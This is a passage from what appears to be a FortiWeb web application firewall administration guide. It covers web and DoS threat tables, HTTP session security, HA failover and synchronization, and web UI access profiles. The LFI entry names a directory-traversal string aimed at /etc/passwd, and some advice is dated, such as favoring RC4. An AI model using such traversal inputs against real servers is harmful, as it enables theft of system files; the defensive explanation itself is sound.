- personally identifiable information, such as HIPAA

[Table 2](#) lists several HTTP-related threats and describes how FortiWeb appliances protect servers from them. FortiWeb can also protect against threats at higher layers (HTML, Flash or XML applications).

Table 2: Web-related threats

Attack Technique	Description	Protection	FortiWeb Solution
Adobe Flash binary (AMF) protocol attacks	Attackers attempt XSS, SQL injection or other common exploits through an Adobe Flash client.	Decode and scan Flash action message format (AMF) binary data for matches with attack signatures.	Enable AMF3 Protocol Detection
Botnet	Utilizes zombies previously exploited or infected (or willingly participating), distributed usually globally, to simultaneously overwhelm the target when directed by the command and control server(s).	Decode and scan Flash action message format (AMF) binary data for matches with attack signatures.	IP Reputation
Browser Exploit Against SSL/TLS (BEAST)	A man-in-the-middle attack where an eavesdropper exploits reused initialization vectors in older TLS 1.0 implementations of CBC-based encryption ciphers such as AES and 3DES.	• Use TLS 1.1 or greater, or • Use ciphers that do not involve CBC, such as stream ciphers, or • Use CBC only with correct initialization vector (IV) implementations	Prioritize RC4 Cipher Suite
Brute force login attack	An attacker attempts to gain authorization by repeatedly trying ID and password combinations until one works.	Require strong passwords for users, and throttle login attempts.	Brute Force Login
Clickjacking	Code such as <IFRAME> HTML tags superimposes buttons or other DOM/inputs of the attacker's choice over a normal form, causing the victim to unwittingly provide data such as bank or login credentials to the attacker's server instead of the legitimate web server when the victim clicks to submit the form.	Scan for illegal inputs to prevent the initial injection, then apply rewrites to scrub any web pages that have already been affected.	• Signatures • Parameter Validation • Hidden Fields Protection • URL Rewriting
Cookie tampering	Attackers alter cookies originally established by the server to inject overflows, shell code, and other attacks, or to commit identity fraud, hijacking the HTTP sessions of other clients.	Validate cookies returned by the client to ensure that they have not been altered from the previous response from the web server for that HTTP session.	Cookie Poisoning Detection

Table 2: Web-related threats

Attack Technique	Description	Protection	FortiWeb Solution
Credit card theft	Attackers read users' credit card information in replies from a web server.	Detect and sanitize credit card data leaks. Helps you comply with credit card protection standards, such as PCI DSS 6.6.	Credit Card Detection
Cross-site request forgery (CSRF)	A script causes a browser to access a web site on which the browser has already been authenticated, giving a third party access to a user's session on that site. Classic examples include hijacking other peoples' sessions at coffee shops or Internet cafés.	Enforce web application business logic to prevent access to URLs from the same IP but different client.	Page Access
Cross-site scripting (XSS)	Attackers cause a browser to execute a client-side script, allowing them to bypass security.	Content filtering, cookie security, disable client-side scripts.	Cross Site Scripting
Denial of service (DoS)	An attacker uses one or more techniques to flood a host with HTTP requests, TCP connections, and/or TCP <code>SYN</code> signals. These use up available sockets and consume resources on the server, and can lead to a temporary but complete loss of service for legitimate users.	Watch for a multitude of TCP and HTTP requests arriving in a short time frame, especially from a single source, and close suspicious connections. Detect increased <code>SYN</code> signals, close half-open connections before resources are exhausted.	DoS Protection
HTTP header overflow	Attackers use specially crafted HTTP/HTTPS requests to target web server vulnerabilities (such as a buffer overflow) to execute malicious code, escalating to administrator privileges.	Limit the length of HTTP protocol header fields, bodies, and parameters.	HTTP Protocol Constraints

Table 2: Web-related threats

Attack Technique	Description	Protection	FortiWeb Solution
Local file inclusion (LFI)	LFI is a type of injection attack. However, unlike SQL injection attacks, a database is not always involved. In an LFI, a client includes directory traversal commands (such as <code>../../../../</code> for web servers on Linux, Apple Mac OS X, or Unix distributions) when submitting input. This causes vulnerable web servers to use one of the computer's own files (or a file previously installed via another attack mechanism) to either execute it or be included in its own web pages. This could be used for many purposes, including direct attacks of other servers, installation of malware, and data theft of <code>/etc/passwd</code>, display of database query caches, creation of administrator accounts, and use of any other files on the server's file system. Many platforms have been vulnerable to these types of attacks, including Microsoft .NET and Joomla.	Block directory traversal commands.	Generic Attacks
Malicious robots	Misbehaving web crawlers ignore the <code>robots.txt</code> file, and consume server resources and bandwidth on a site.	Ban bad robots by source IP or <code>User-Agent</code> field, as well as rate limiting clients that fail a test that detects web browsers	Real Browser Enforcement Exception

Table 2: Web-related threats

Attack Technique	Description	Protection	FortiWeb Solution
Remote file inclusion (RFI)	RFI is a type of injection attack. However, unlike SQL injection attacks, a database is not always involved. In an RFI, a client includes a URL to a file on a remote host, such as source code or scripts, when submitting input. This causes vulnerable web servers to either execute it or include it in its own web pages. • If code is executed, this could be used for many purposes, including direct attacks of other servers, installation of malware, and data theft. • If code is included into the local file system, this could be used to cause other, unsuspecting clients who use those web pages to commit distributed XSS attacks. Famously, this was used in organized attacks by Lulzsec. Attacks often involve PHP web applications, but can be written for others.	Prevent inclusion of references to files on other web servers.	Generic Attacks
Server information leakage	A web server reveals details (such as its OS, server software and installed modules) in responses or error messages. An attacker can leverage this fingerprint to craft exploits for a specific system or configuration.	Configure server software to minimize information leakage.	• Information Disclosure • To hide application structure and servlet names, Rewriting & redirecting

Table 2: Web-related threats

Attack Technique	Description	Protection	FortiWeb Solution
SQL injection	The web application inadvertently accepts SQL queries as input. These are executed directly against the database for unauthorized disclosure and modification of data.	Rely on key word searches, restrictive context-sensitive filtering and data sanitization techniques.	• Parameter Validation • Hidden Fields Protection • SQL Injection
Malformed XML	To exploit XML parser or data modeling bugs on the server, the client sends incorrectly formed tags and attributes.	Validate XML formatting for closed tags and other basic language requirements.	Illegal XML Format Caution: Unlike XML protection profiles in previous versions of FortiWeb, Illegal XML Format does not check for conformity with the object model or recursive payloads.

DoS attacks

A denial of service (DoS) attack or distributed denial-of-service attack (DDoS attack) is an attempt to overwhelm a web server/site, making its resources unavailable to its intended users. DoS assaults involve opening vast numbers of sessions/connections at various OSI layers and keeping them open as long as possible to overwhelm a server by consuming its available sockets. Most DoS attacks use automated tools (not browsers) on one or more hosts to generate the harmful flood of requests to a web server.

A DoS assault on its own is not true penetration. It is designed to silence its target, not for theft. It is censorship, not robbery. In any event, a successful DoS attack can be costly to a company in lost sales and a tarnished reputation. DoS can also be used as a diversion tactic while a true exploit is being perpetrated.

The advanced DoS prevention features of FortiWeb are designed to prevent DoS techniques, such as those examples listed in [Table 3](#), from succeeding. For best results, consider creating a DoS protection policy that includes all of FortiWeb's DoS defense mechanisms, and block traffic that appears to originate from another country, but could actually be anonymized by VPN or Tor.

For more information on policy creation, see [“DoS prevention” on page 328](#) and [“Blacklisting source IPs with poor reputation” on page 319](#).

Table 3: DoS-related threats

Attack Technique	Description	FortiWeb Solution
Botnet	Utilizes zombies previously exploited or infected (or willingly participating), distributed usually globally, to simultaneously overwhelm the target when directed by the command and control server(s). Well-known examples include LOIC, HOIC, and Zeus.	IP Reputation
Low-rate DoS	Exploits TCP's retransmission time-out (RTO) by sending short-duration, high-volume bursts repeated periodically at slower RTO time-scales. This causes a TCP flow to repeatedly enter a RTO state and significantly reduces TCP throughput.	• TCP Connection Number Limit (TCP flood prevention) • HTTP Request Limit/sec (HTTP flood prevention) • TCP Connection Number Limit (malicious IP prevention)
Slow POST attack	Sends multiple HTTP POST requests with a legitimate <code>Content-Length:</code> field. This tells the web server how much data to expect. Each POST message body is then transmitted at an unusually slow speed to keep the connection from timing out, and thereby consuming sockets.	• URL Access • Allow Method

Table 3: DoS-related threats

Attack Technique	Description	FortiWeb Solution
Slowloris	Slowly but steadily consumes all available sockets by sending partial HTTP requests sent at regular intervals. Each HTTP header is never finished by a new line (<code>/r/n</code>) according to the specification, and therefore the server waits for the client to finish, keeping its socket open. This slowly consumes all sockets on a web server without a noticeable spike on new TCP/IP connections or bandwidth. Not all web servers are vulnerable, and susceptibility can vary by configuration. Default Apache configurations may be more vulnerable than a server like nginx that is designed for high concurrency.	<i>Header Length</i> <i>Number of Header Lines In Request</i> <i>Real Browser Enforcement</i> <i>Persistent Server Sessions</i>
SYN flood	Sends a stream of TCP <code>SYN</code> packets. The target server acknowledges each <code>SYN</code> and waits for a response (<code>ACK</code>). Rather than respond, the attacker sends more <code>SYN</code> packets, leaving each connection half-open, not fully formed, so that it may not register on systems that only monitor fully formed connections. Since each half-formed connection requires RAM to remember this state while awaiting buildup/tear-down, many <code>SYN</code> signals eventually consume available RAM or sockets.	<i>Syn Cookie</i>

HTTP pipelining

For clients that support HTTP 1.1, HTTP pipelining can be used to accelerate transactions by bundling them in the same TCP connection, and by not waiting for a response before sending/receiving the next request. This can increase performance when pages containing many images, scripts, and other auxiliary files are all hosted on the same domain, and therefore could use the same connection. Only `GET` and `HEAD` methods are supported. Clients must include the `Connection: keep-alive` HTTP header and use HTTP 1.1 (**not** 1.0) in order to trigger FortiWeb to allow pipelined requests and send pipelined responses.

This feature is supported only when FortiWeb is operating in reverse proxy or true transparent proxy mode.

HTTP sessions & security

The HTTP 1.1 protocol itself is **stateless** (i.e., has no inherent support for persistent **sessions**). Yet many web applications add sessions to become stateful.

Why?

What is a session? What is statefulness?

How do they impact security on the web?

Sessions are a correlation of requests for individual web pages/data (“hits”) into a sense of an overall “visit” for a client during a time span, but also retain some memory between events. They typically consist of a session ID coupled with its data indicating current state. Classic examples include logins, showing previously viewed items, and shopping carts.

The reason why HTTP applications must add sessions is related to how software works: software often changes how it appears or acts based upon:

- Input you supply (e.g. a mouse click or a data file)
- System events (e.g. time or availability of a network connection)
- Current state (i.e. the product of previous events — history)

At each time, some inputs/actions are known to be valid and possible, while others are not.

Without memory of history to define the current context, which actions are valid and possible, and therefore how it should function, cannot be known.

When software cannot function without memory, it is **stateful**. Many important features — denying access if a person is not currently logged in, for example, or shipping what has been added to a shopping cart — are stateful, and therefore **can’t** be supported by purely stateless HTTP according to the original RFC. Such features require that web apps augment the HTTP protocol by adding a notion of session memory via:

- Cookies per [RFC 2965](#)
- Hidden inputs
- Server-side sessions
- Other means (see “[Authentication styles](#)” on page 217)

Because memory is an accumulation of input, sessions have security implications.

- Can a different client easily forge another’s session?
- Are session IDs reused in encrypt form data, thereby weakening the encryption?
- Are session histories used to check for invalid next URLs or inputs (**state transitions**)?


When sessions are not protected to prevent misuse, software can be used in unexpected ways by attackers.

For example, let’s say there is a vending machine. You must insert money first. If you:

- insert a paper clip instead of a coin
- press the button for a snack before you have inserted enough money
- press the button to return your money before you have inserted any money

the machine will do nothing. The machine is designed so that it **must** be in the state where it has received enough money before it will dispense the snack (or return your change).


Figure 2: State transitions in a vending machine



If the vending machine had no notion of states, it would dispense free snacks or change — regardless of whether it had received any money.

While free snacks might make some hungry people happy, it is not the intended behavior. We would say that the vending machine is broken.

Figure 3: Invalid state transition in a vending machine



Similar to the **working** vending machine, in the TCP protocol, a connection cannot be acknowledged (ACK) or data sent (PSH) before the connection has been initiated (SYN). There is a definite order to valid operations, based upon the operation that preceded it. If a connection is not already established — not in a state to receive data — then the receiver will disregard it.

Similar to the **broken** vending machine, the naked HTTP protocol has no idea what the previous HTTP request was, and therefore no way to predict what the next one might be. Nothing is required to persist from one request to the next. While this was adequate at the time when HTTP was initially designed, when it purely needed to retrieve static text or HTML documents, as the World Wide Web evolved, this was no longer enough. Static pages evolved into dynamic CGI-generated and JavaScripted pages. Dynamic pages use programs to change the page. Scripted pages eventually evolved to fully-fledged multimedia web applications with their own client-server architecture. As pages became software in their own right, a need for sessions arose.

When a web application has its own native authentication, the session may correspond directly with its authentication logs — server-side sessions may start with a login and end with a logout/session timeout. Within each session, there are contexts that the software can use to


determine which operations make sense. For example, for each live session, a web application might remember:

- Who is the client? What is his/her user name?
- Where is the client?
- What pages has the client already seen today?
- What forms has the client already completed?

However, sessions alone are **not** enough to ensure that a client's requested operations make sense. The client's next page request in the session could break the web application's logic unless requests are restricted to valid ones.

For example, a web application session may remember that a client has authenticated. But unless it **also** knows what pages that client is authorized to use, there might be nothing to prevent that person from ignoring the links on the current web page and entering a non-authorized URL into their web browser to steal secret information.

Figure 4: Attack bypassing logical state transitions in a session



If they do not **enforce** valid state transitions and guard session IDs and cookies from fraud (including sidejacking attacks made famous by Firesheep) or cookie poisoning, web applications become vulnerable to state transition-based attacks — attacks where pages are requested out of the expected order, by a different client, or where inputs used for the next page are not as expected. While many web applications reflect business logic in order to function, not all applications validate state transitions to enforce application logic. Other web applications do attempt to enforce the software's logic, but do not do so effectively. In other cases, the state enforcement itself has bugs. **These are common causes of security vulnerabilities.**



Similar to plain HTTP, SSL/TLS also keeps track of what steps the client has completed in encryption negotiation, and what the agreed keys and algorithms are. These HTTPS sessions are separate from, and usually in addition to, HTTP sessions. Attacks on SSL/TLS sessions are also possible, such as the SPDY protocol/Deflate compression-related CRIME attack.

FortiWeb sessions vs. web application sessions

FortiWeb can add its own sessions to enforce the logic of your web applications, thereby hardening their security, even without applying patches.



Your web application may have its own sessions data — one or more. These are **not** the same as FortiWeb sessions, **unless** FortiWeb is operating in a mode that does not support FortiWeb session cookies, and therefore uses your web application's own sessions as a cue (see [Session Key Word](#)).

FortiWeb does **not** replace or duplicate sessions that may already be implemented in your web applications, such as the `JSESSIONID` parameter common in Java server pages (JSP), or web applications' session cookies such as the `TWIKISID` cookie for Twiki wikis.

However, it can protect those sessions. To configure protection for your web application's own sessions, see options such as [Cookie Poisoning Detection](#), [Parameter Validation](#), and [Hidden Fields Protection](#).

For example, to reinforce authentication logic, you might want to require that a client's first HTTP request always be a login page. All other web pages should be inaccessible until a client has authenticated, because out-of-order requests could be an attempt to bypass the web application's authentication mechanism.

How can FortiWeb know if a request is the client's first HTTP request? If FortiWeb were to treat each request independently, without knowledge of anything previous, it would not be able to remember the authentication request, and therefore could not enforce page order.


To fill this need for context, enable [Session Management](#). When enabled:

1. For the first HTTP/HTTPS request from a client, FortiWeb embeds a cookie in the response's `Set-Cookie:` field in the HTTP header. It is named `cookiesession1`. (FortiWeb does not use source IP addresses and timestamps alone for sessions: NAT can cloak multiple clients; clocks can be altered.)

If you have configured rules such as [start page](#) rules that are enforced when a page request is the first in a session, FortiWeb can enforce them at this point.

2. Later requests from the same client must include this same cookie in the `Cookie:` field to be regarded as part of the same session. (Otherwise, the request will be regarded as session-initiating, and return to step 1.)

Figure 5: Attack blocked via a start page or page order rule with session management



Once a request's session is identified by the session ID in this cookie (e.g. `K8BXT3TNYUM710UEGWC8IQBTPX9PRWHB`), FortiWeb can perform any configured tracking or enforcement actions that are based upon the requests that it remembers for that session ID, such as [rate limiting per session ID per URL](#), or based upon the order of page requests in

a session, such as [page order](#) rules. Violating traffic may be dropped or blocked, depending on your configuration.

3. After some time, if the FortiWeb has not received any more requests, the session will time out.

The next request from that client, even if it contains the old session cookie, will restart the process at step 1.



Exceptions to this process include network topologies and operation modes that do not support FortiWeb session cookies: instead of adding its own cookie, which is not possible, FortiWeb can instead cue its session states from your web application's cookie. See [Session Key Word](#).

Traffic logs include the HTTP/HTTPS session ID so you can locate all requests in each session. Correlating requests by session ID can be useful for forensic purposes, such as when analyzing an attack from a specific client, or when analyzing web application behavior that occurs during a session so that you can design an appropriate policy to protect it. For details, see [“Viewing log messages” on page 544](#) and the [FortiWeb Log Message Reference](#).

Sessions & FortiWeb HA

The table of FortiWeb client session histories is **not** synchronized between HA members. If a failover occurs, the new active appliance will recognize that old session cookies are from a FortiWeb, and will allow existing FortiWeb sessions to continue. Clients' existing sessions will not be interrupted.



Because the new active appliance does not know previous session history, after failover, for existing sessions, FortiWeb will **not** be able to enforce actions that are based upon:

- the order of page requests in that session ID's history, such as [page order](#) rules.
- the count or rate of requests that it remembers for that session ID, such as [rate limiting per session ID per URL](#),

New sessions will be formed with the current main appliance.

For more information on what data and settings are synchronized by HA, see [“HA heartbeat & synchronization” on page 39](#) and [“Configuration settings that are not synchronized by HA” on page 41](#).

Example: Magento & FortiWeb sessions during failover


A client might connect through a FortiWeb HA pair to an e-commerce site. The site runs Magento, which sets cookies, on a server farm. To prevent session stealing and some other session-based attacks, Magento can track its own cookies and validate session information in `$_SESSION` using server-side memory.

In the FortiWeb HA pair that protects the server farm, you have enabled [Session Management](#), so the active appliance (FortiWeb A) **also** adds its own cookie to the HTTP response from Magento. The HTTP response therefore contains 2 cookies:

- Magento's session cookie
- FortiWeb's session cookie

The next request from the client echoes **both** cookies. It is for an authorized URL, so FortiWeb A permits the web site to respond.

Figure 6: Session initiation with FortiWeb A — Cookie added to 1st response




Let's say you then update FortiWeb A's firmware. During the update, the standby appliance (FortiWeb B) briefly assumes the role of the active appliance while FortiWeb A is applying the update and rebooting (i.e. a failover occurs).

After the failover, FortiWeb B would receive the next HTTP request in the session. Because it was previously the standby when the client initiated the session, and FortiWeb session tables are **not** synchronized, FortiWeb B has **no knowledge** of the FortiWeb session cookie in this request.

As a result, it cannot enforce sequence-specific features such as page order, since it does not know the session history. However, a FortiWeb session cookie is present. Therefore FortiWeb B **would** permit the new request (assuming that it has no policy violations).

Figure 7: Session continuation after failover to FortiWeb B — Unknown cookie accepted



Since web application sessions are not the same as FortiWeb sessions, Magento sessions continue and are unaffected by the failover.

If the client deletes their FortiWeb session cookie or it times out, FortiWeb B regards the next request as a new FortiWeb session, adding a new FortiWeb session cookie to Magento's response and creating an entry in FortiWeb B's session table, enabling it to enforce page order and start page rules again.

HA heartbeat & synchronization

You can group multiple FortiWeb appliances together as a high availability (HA) cluster (see [“Configuring a high availability \(HA\) FortiWeb cluster” on page 95](#)). The **heartbeat** traffic indicates to other appliances in the HA cluster that the appliance is up and “alive.”

Synchronization ensures that all appliances in the cluster remain ready to process traffic, even if you only change one of the appliances.

Heartbeat and synchronization traffic between cluster appliances occur over the physical network ports selected in [Heartbeat Interface](#). HA traffic uses multicast UDP on port numbers 6065 (heartbeat) and 6056 (synchronization). The HA multicast IP address is 239.0.0.1; it is hard-coded, and cannot be configured.



If switches are used to connect heartbeat interfaces between an HA pair, the heartbeat interfaces must be reachable by Layer 2 multicast.

Failover is triggered by any interruption to either the heartbeat **or** a port monitored network interface whose length of time exceeds your configured limits ([Detection Interval](#) x [Heartbeat Lost Threshold](#)). When the active (“main”) appliance becomes unresponsive, the standby appliance:

1. Notifies the network via ARP that the network interface IP addresses (including the IP address of the bridge, if any) are now associated with its virtual MAC addresses
2. Assumes the role of the active appliance and scans network traffic

To keep the standby appliance ready in case of a failover, HA pairs also use the heartbeat link to automatically synchronize most of their configuration. Synchronization includes:

- core CLI-style configuration file (fwb_system.conf)
- X.509 certificates, certificate request files (CSR), and private keys
- HTTP error pages
- FortiGuard IRIS Service database
- FortiGuard Security Service files (attack signatures, predefined data types & suspicious URLs, known web crawlers & content scrapers, global white list, vulnerability scan signatures)
- Geography-to-IP database

and occurs immediately when an appliance joins the cluster, and thereafter every 30 seconds.

Although they are not automatically synchronized for performance reasons due to large size and frequent updates, you can manually force HA to synchronize FortiGuard Antivirus signatures. For instructions, see `execute ha synchronize` in the [FortiWeb CLI Reference](#). For a list of settings and data that are **not** synchronized, see [“Data that is not synchronized by HA”](#) and [“Configuration settings that are not synchronized by HA”](#).



If you do not want to configure HA (perhaps you have a separate network appliance implementing HA externally), you can still replicate the FortiWeb’s configuration on another FortiWeb appliance. For more information, see [“Replicating the configuration without FortiWeb HA \(external HA\)” on page 105](#)

See also

- [Configuring a high availability \(HA\) FortiWeb cluster](#)
- [Replicating the configuration without FortiWeb HA \(external HA\)](#)

Data that is not synchronized by HA

In addition to HA configuration, some data is also **not** synchronized.

- **FortiWeb HTTP sessions** — FortiWeb appliances can use cookies to add and track its own sessions, functionality that is not inherently provided by HTTP. For more information, see [“HTTP sessions & security” on page 32](#). This state-tracking data corresponds in a 1:1 ratio to request volume, and therefore can change very rapidly. To minimize the performance impact on an HA cluster, this data is not synchronized.



Failover will **not** break web applications' existing sessions, which do not reside on the FortiWeb, and are not the same thing as FortiWeb's own HTTP sessions. The new active appliance will allow existing web application sessions to continue. For more information, see [“FortiWeb sessions vs. web application sessions” on page 36](#).

FortiWeb sessions are used by some FortiWeb features. **After a failover, these features may not work, or may work differently, for existing sessions.** (New sessions are not affected.) See the description for each setting that uses session cookies. For more information, see [“Sessions & FortiWeb HA” on page 37](#).

- **SSL/TLS sessions** — HTTPS connections are stateful in that they must be able to remember states such as the security associations from the SSL/TLS handshake: the mutually supported cipher suite, the agreed parameters, and any certificates involved. Encryption and authentication in SSL/TLS cannot function without this. However, a new primary FortiWeb's lack of existing HTTPS session information is gracefully handled by re-initializing the SSL/TLS session with the client. This does not impact to the encapsulated HTTP application, has only an initial failover impact during re-negotiation, and therefore is not synchronized.
- **Log messages** — These describe events that happened on that specific appliance. After a failover, you may notice that there is a gap in the original active appliance's log files that corresponds to the period of its down time. Log messages created during the time when the standby was acting as the active appliance (if you have configured local log storage) are stored there, on the original standby appliance. For more information on configuring local log storage, see [“Configuring logging” on page 532](#).
- **Generated reports** — Like the log messages that they are based upon, PDF, HTML, RTF, and plain text reports also describe events that happened on that specific appliance. As such, report settings are synchronized, but report output is not. For information about this feature, see [“Reports” on page 572](#).
- **Auto-learning data** — Auto-learning is a resource-intensive feature. To minimize the performance impact on an HA cluster, this data is not synchronized. For information about this feature, see [“Auto-learning” on page 149](#).

See also

- [Configuring a high availability \(HA\) FortiWeb cluster](#)
- [Configuration settings that are not synchronized by HA](#)
- [HA heartbeat & synchronization](#)

Configuration settings that are not synchronized by HA

All configuration settings on the active appliance are synchronized to the standby appliance, except the following:

Setting	Explanation
Operation mode	You must set the operation mode of each HA group member before configuring HA. See “Setting the operation mode” on page 92 .
Host name	The host name distinguishes each member of the FortiWeb HA cluster. See “Changing the FortiWeb appliance’s host name” on page 506 .
Network interfaces (reverse proxy or offline protection mode only) or Bridge (true transparent proxy or transparent inspection mode only)	Only the FortiWeb appliance acting as the main appliance, actively scanning web traffic, is configured with IP addresses on its network interfaces (or bridge). The standby appliance will only use the configured IP addresses if a failover occurs, and the standby appliance therefore must assume the role of the main appliance. See “Configuring the network interfaces” on page 111 or “Configuring a bridge (V-zone)” on page 120 .
Management IP address (true transparent proxy or transparent inspection mode only)	Each FortiWeb appliance in the HA group should be configured with different management IP addresses for administrative purposes. See “Setting the operation mode” on page 92 .
SNMP system information	Each FortiWeb appliance in the HA group will have its own SNMP system information, including the Description , Location , and Contact . See “SNMP traps & queries” on page 567 .
RAID level	RAID settings are hardware-dependent and determined at boot time by looking at the drives (for software RAID) or the controller (hardware RAID), and are not stored in the system configuration. Therefore, they are not synchronized. See “RAID level & disk statuses” on page 528 .
HA active status and priority	The HA configuration, which includes Device Priority , is not synchronized because this configuration must be different on the primary and secondary appliances.
FortiGuard Antivirus packages	This package is large and frequently updated, and therefore is not usually synchronized for performance reasons. You can, however, force synchronization. For details, see <code>exec ha sync</code> in the FortiWeb CLI Reference. Note: Unless you force an HA sync of this package, the standby may initially use an out-of-date package after failover, until it has a chance to synchronize with FortiGuard. For this reason, you should configure HA pairs with more frequent FortiGuard update polls. See “Connecting to FortiGuard services” on page 132.

See also

- [Data that is not synchronized by HA](#)
- [Configuring a high availability \(HA\) FortiWeb cluster](#)
- [HA heartbeat & synchronization](#)

How HA chooses the active appliance

An HA pair may or may not resume their active and standby roles when the failed appliance resumes responsiveness to the heartbeat.

Since the current active appliance will by definition have a greater uptime than a failed previous active appliance that has just returned online, assuming each has the same number of available ports, the current active appliance usually retains its status as the active appliance, **unless** [Override](#) is enabled. If [Override](#) is enabled, and if the [Device Priority](#) setting of the returning appliance is higher, it will be elected as the active appliance in the HA cluster.

If [Override](#) is disabled, HA considers (in order)

1. The most available ports

For example, if two FortiWeb appliances, FWB1 and FWB2, were configured to monitor two ports each, and FWB2 has just one port currently available according to [Port Monitor](#), FWB1 would become the active appliance, regardless of uptime or priority. But if both had 2 available ports, this factor alone would not be able to determine which appliance should be active, and the HA cluster would proceed to the next consideration.

2. The highest uptime value

Uptime is reset to zero if an appliance fails, or the status of any monitored port (per [Port Monitor](#)) changes.

3. The smallest [Device Priority](#) number (that is, 1 has the highest priority)

4. The highest-sorting serial number



Serial numbers are sorted by comparing each character from left to right, where 9 and z are the greatest values, and result in highest placement in the sorted list.

If [Override](#) is enabled, HA considers (in order)

1. The most available ports

2. The smallest [Device Priority](#) number (that is, 1 has the highest priority)

3. The highest uptime value

4. The highest-sorting serial number

If the heartbeat link occurs through switches or routers, and the active appliance is very busy, it might require more time to establish a heartbeat link through which it can negotiate to elect the active appliance. You can configure the amount of time that a FortiWeb appliance will wait after it boots to establish this connection before assuming that the other appliance is unresponsive, and that it should become the active appliance. For details, see the `boot-time` `<seconds_int>` setting in the [FortiWeb CLI Reference](#).

See also

- [Configuring a high availability \(HA\) FortiWeb cluster](#)
- [Replicating the configuration without FortiWeb HA \(external HA\)](#)

How to use the web UI

This topic describes aspects that are general to the use of the web UI, a graphical user interface (GUI) that provides access the FortiWeb appliance from within a web browser.



See also

- [System requirements](#)
- [URL for access](#)
- [Permissions](#)
- [Maximum concurrent administrator sessions](#)
- [Global web UI & CLI settings](#)
- [Buttons, menus, & the displays](#)

System requirements

The management computer that you use to access the web UI must have:

- a compatible web browser, such as Microsoft Internet Explorer 6.0 or greater, or Mozilla Firefox 3.5 or greater
- Adobe Flash Player 10 or greater plug-in

To minimize scrolling, the computer's screen should have a resolution that is a minimum of 1280 x 1024 pixels.

URL for access

You access the web UI by URL, using a network interface on the FortiWeb appliance that you have configured for administrative access.

For first-time connection, see [“Connecting to the web UI” on page 70](#).

The default URL to access the web UI through the network interface on port1 is:

<https://192.168.1.99/>

If the network interfaces were configured during installation of the FortiWeb appliance (see [“Configuring the network settings” on page 109](#)), the URL and/or permitted administrative access protocols may no longer be in their default state. In that case, use either a DNS-resolvable domain name for the FortiWeb appliance as the URL, or the IP address that was assigned to the network interface during the installation process.

For example, you might have configured port2 with the IP address 10.0.0.1 and enabled HTTPS. You might have also configured a private DNS server on your network to resolve `fortiweb.example.com` to 10.0.0.1. In this case, to access the web UI through port2, you could enter either `https://fortiweb.example.com/` or `https://10.0.0.1/`.

For information on enabling administrative access protocols and configuring IP addresses for the FortiWeb appliance, see [“Configuring the network settings” on page 109](#).




If the URL is correct and you still cannot access the web UI, you may also need to configure FortiWeb to accept login attempts for your administrator account from that computer (that is, trusted hosts), and/or static routes. For details, see [“Administrators” on page 210](#) and [“Adding a gateway” on page 123](#).

Workflow


While the “heart” of your security enforcement on FortiWeb is server policies, its individual settings are specified in rules and exceptions, that are grouped into sets and selected in a profile before being applied to the server policy. Often you will not be able to complete configuration of an item unless you have configured its chain of prerequisites. For that reason, you may want to start with the most granular settings first.

Workflow: FortiWeb’s Configuration Prerequisites



For example, when configuring DoS protection, configuration must occur in this order:

FortiWeb's Configuration Prerequisites / Nesting for Anti-DoS Settings



1. Configure anti-DoS settings for each type:
 - TCP connection floods ([“Limiting TCP connections per IP address” on page 341](#))
 - TCP SYN floods ([“Preventing a TCP SYN flood” on page 344](#))
 - HTTP floods ([“Preventing an HTTP request flood” on page 337](#))
 - HTTP access limits ([“Limiting the total HTTP request rate from an IP” on page 329](#))
 - Malicious IPs (TCP connection floods detected by session cookie instead of source IP address, which could be shared by multiple clients; [“Limiting TCP connections per IP address by session cookie” on page 334](#))
 - Scripts and robots ([“Preventing automated requests” on page 347](#))
2. Group the settings together into a comprehensive anti-DoS policy ([“Grouping DoS protection rules” on page 345](#)).
3. Select the anti-DoS policy in a protection profile, and enable *Session Management* ([“Configuring a protection profile for inline topologies” on page 456](#)).
4. Select the protection profile in a server policy ([“Configuring a server policy” on page 470](#)).

Permissions

Depending on the account that you use to log in to the FortiWeb appliance, you may not have complete access to all CLI commands or areas of the web UI.

Access profiles control which commands and areas an administrator account can access. Access profiles assign either:

- *Read* (view access)
- *Write* (change and execute access)
- both *Read* and *Write*
- no access

to each area of the FortiWeb software. For more information on configuring the access profile for an administrator account can use, see [“Configuring access profiles” on page 213](#).

Table 4: Areas of control in access profiles

Access profile setting	Grants access to*	
<i>Admin Users</i>	<i>System > Admin ... except Settings</i>	Web UI
admingrp	config system admin config system accprofile	CLI
<i>Auth Users</i>	<i>User ...</i>	Web UI
authusergrp	config user ...	CLI
<i>Autolearn Configuration</i>	<i>Auto Learn > Auto Learn Profile > Auto Learn Profile</i>	Web UI
learngrp	config server-policy custom-application ... config waf web-protection-profile autolearning-profile Note: Because generating an auto-learning profile also generates its required components, this area also confers <i>Write</i> permission to those components in the <i>Web Protection Configuration/wafgrp</i> area.	CLI
<i>Log & Report</i>	<i>Log&Report ...</i>	Web UI
loggrp	config log ... execute formatlogdisk	CLI
<i>Maintenance</i>	<i>System > Maintenance except System Time tab</i>	Web UI
mntgrp	diagnose system ... execute backup ... execute factoryreset execute reboot execute restore ... execute shutdown diagnose system flash ...	CLI
<i>Network Configuration</i>	<i>System > Network ...</i>	Web UI
netgrp	config system interface config system dns config system v-zone diagnose network ... except sniffer ...	CLI
<i>Router Configuration</i>	<i>Router ...</i>	Web UI
routegrp	config router ...	CLI

Table 4: Areas of control in access profiles

Access profile setting	Grants access to*	
System Configuration	System ... except Network, Admin, and Maintenance tabs	Web UI
sysgrp	config system except accprofile, admin, dns, interface, and v-zone diagnose hardware ... diagnose network sniffer ... diagnose system ... except flash ... execute date ... execute ha ... execute ping ... execute ping-options ... execute traceroute ... execute time ...	CLI
Server Policy Configuration	Policy > Server Policy ... Server Objects ... Application Delivery ...	Web UI
traroutegrp	config server-policy ... except custom-application ... config waf file-compress-rule config waf file-uncompress-rule config waf http-authen ... config waf url-rewrite ... diagnose policy ...	CLI
Web Anti-Defacement Management	Web Anti-Defacement ...	Web UI
wadgrp	config wad ...	CLI

Table 4: Areas of control in access profiles

Access profile setting	Grants access to*	
Web Protection Configuration	Policy > Web Protection ... Web Protection ... DoS Protection ...	Web UI
wafgrp	config system dos-prevention config waf except: • config waf file-compress-rule • config waf file-uncompress-rule • config waf http-authen ... • config waf url-rewrite ... • config waf web-custom-robot • config waf web-protection-profile autolearning-profile • config waf web-robot • config waf x-forwarded-for	CLI
Web Vulnerability Scan Configuration	Web Vulnerability Scan ...	Web UI
wvsgrp	config wvs ...	CLI

* For each `config` command, there is an equivalent `get/show` command, unless otherwise noted.

`config` access requires write permission.

`get/show` access requires read permission.

